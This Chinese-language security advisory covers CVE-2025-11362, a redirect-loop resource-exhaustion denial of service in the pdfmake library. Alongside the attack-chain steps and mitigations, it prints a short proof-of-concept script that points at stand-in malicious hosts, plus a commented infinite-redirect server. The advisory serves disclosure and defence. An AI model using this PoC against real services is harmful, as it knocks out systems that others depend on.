IPBUF安全漏洞报告
English
CVE-2025-11362 CVSS 7.5 高危

CVE-2025-11362 pdfmake资源耗尽拒绝服务漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11362
漏洞类型
资源耗尽型拒绝服务攻击(Allocation of Resources Without Limits or Throttling)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pdfmake

相关标签

CVE-2025-11362pdfmake拒绝服务DoS资源耗尽资源限制缺失Allocation of Resources Without LimitsJavaScriptPDF生成高危漏洞

漏洞概述

CVE-2025-11362是pdfmake JavaScript库中存在的一个高危资源耗尽型拒绝服务漏洞。pdfmake是一款广泛用于客户端和服务器端PDF文档生成的JavaScript库,支持在PDF中嵌入图片、文件等资源。该漏洞影响0.3.0-beta.17之前的所有版本。

漏洞的核心问题在于pdfmake处理文件嵌入(file embedding)功能时,对重定向URL缺乏适当的限制和节流机制。攻击者可以通过构造特殊的输入,使pdfmake在处理文件嵌入时反复跟随URL重定向,从而无限制地消耗系统资源(如内存、文件句柄、网络连接等)。当攻击者提供精心构造的恶意输入时,应用程序会因资源耗尽而崩溃或变得无响应。

该漏洞由Snyk安全团队于2025年10月7日公开披露,CVSS 3.1评分为7.5分,属于高危级别。攻击者无需认证即可通过网络远程发起攻击,无需用户交互,主要影响系统的可用性。由于pdfmake常用于Web应用和服务端PDF生成服务,该漏洞可能影响大量依赖该库的业务系统,造成服务中断。

技术细节

pdfmake库在处理文档中的文件嵌入功能时,会通过URL获取远程资源并将其嵌入到生成的PDF文档中。正常情况下,库应当对URL重定向的次数进行限制,并设置合理的超时和资源使用上限。

然而,在0.3.0-beta.17之前的版本中,pdfmake在处理file embedding的URL时没有对重定向进行限制。攻击者可以配置一个返回无限重定向链的服务器(例如通过设置HTTP 301/302响应头中的Location字段指向自身或形成循环),当pdfmake尝试获取该URL时,它会不断地跟随重定向,每次重定向都会消耗额外的网络资源、内存和CPU时间,最终导致资源耗尽。

利用方式如下:
1. 攻击者搭建一个返回无限重定向的HTTP服务器,或利用现有的重定向漏洞服务;
2. 攻击者构造一个使用pdfmake的恶意请求,在PDF文档定义中嵌入指向该恶意URL的文件引用;
3. 当pdfmake处理该文档时,会反复跟随重定向,不断分配资源;
4. 随着重定向次数累积,系统资源被耗尽,导致进程崩溃或服务不可用;
5. 由于无需认证和用户交互,攻击者可以通过自动化工具批量发起攻击,造成大规模拒绝服务影响。

该漏洞的修复提交为GitHub commit 741169634bf07730e010cd77477b6cc038e846ed,修复方案为对URL重定向次数进行限制,并添加资源使用的节流机制。

攻击链分析

STEP 1
步骤1:环境准备
攻击者识别目标系统是否使用pdfmake库(版本低于0.3.0-beta.17),并搭建或寻找能够返回无限HTTP重定向(301/302)的恶意服务器。
STEP 2
步骤2:构造恶意输入
攻击者构造包含恶意重定向URL的PDF文档定义请求,将指向恶意重定向服务器的URL嵌入到文件的url字段中。
STEP 3
步骤3:发送攻击请求
攻击者通过网络向使用pdfmake的服务端应用发送恶意请求,触发PDF生成流程。由于无需认证(PR:N)和用户交互(UI:N),攻击可以完全自动化。
STEP 4
步骤4:触发资源耗尽
pdfmake在处理文件嵌入时开始跟随恶意URL的重定向,每次重定向都消耗网络资源、内存和CPU。由于没有重定向次数限制,资源消耗持续累积。
STEP 5
步骤5:服务拒绝
当系统资源(内存、文件描述符、网络连接等)被耗尽时,pdfmake进程崩溃或挂起,导致依赖该库的服务不可用,实现拒绝服务攻击。
STEP 6
步骤6:扩大影响
攻击者可以通过并发请求同时触发多个资源耗尽流程,进一步加剧服务中断的影响,实现大规模拒绝服务效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-11362 PoC - pdfmake Resource Exhaustion via Redirect URL // This PoC demonstrates how to trigger resource exhaustion by embedding // a file with a redirect URL that causes infinite redirects const pdfMake = require('pdfmake/build/pdfmake'); const fs = require('fs'); // Step 1: Set up fonts (required by pdfmake) pdfMake.fonts = { Roboto: { normal: 'Helvetica', bold: 'Helvetica-Bold' } }; // Step 2: Define document definition with malicious redirect URL in file embedding // The URL points to a server that returns infinite HTTP 302 redirects const maliciousRedirectUrl = 'http://malicious-server.example.com/redirect-loop'; const docDefinition = { content: [ { text: 'CVE-2025-11362 PoC', style: 'header' }, { text: 'This document triggers resource exhaustion via redirect URL' } ], // File embedding with redirect URL - this triggers the vulnerability files: [ { url: maliciousRedirectUrl, name: 'embedded-file.pdf' } ] }; // Step 3: Generate PDF - this will trigger infinite redirect following // and cause resource exhaustion leading to DoS console.log('[*] Attempting to generate PDF with malicious redirect URL...'); try { const pdfDoc = pdfMake.createPdf(docDefinition); pdfDoc.getBuffer((buffer) => { console.log('[+] PDF generated (unexpected)'); fs.writeFileSync('output.pdf', buffer); }); } catch (e) { console.log('[-] Error or crash triggered:', e.message); console.log('[+] Resource exhaustion may have occurred'); } // Alternative PoC using createPdfKitDocument with malicious content: /* const maliciousDocDefinition = { content: [ { stack: [ { text: 'Embedded malicious file:' }, { // Using image with redirect URL (similar mechanism) image: 'http://evil.example.com/redirect-loop/image.png', width: 100 } ] } ] }; */ // To set up the malicious redirect server (for testing): /* // server.js - Simple redirect loop server const http = require('http'); const server = http.createServer((req, res) => { res.writeHead(302, { 'Location': req.url }); // Redirect to itself res.end(); }); server.listen(8080, () => { console.log('Redirect loop server running on port 8080'); }); */

影响范围

pdfmake < 0.3.0-beta.17

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在应用层对pdfmake的文件嵌入URL进行严格校验,仅允许可信域名;2)配置HTTP客户端(如axios、node-fetch)的maxRedirects参数为较小值(如3次);3)为PDF生成操作设置超时限制;4)使用进程隔离或容器化部署,限制单个PDF生成任务的资源使用上限;5)部署WAF规则检测异常的重复重定向请求模式;6)实施请求频率限制,防止恶意用户通过大量并发请求触发资源耗尽。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表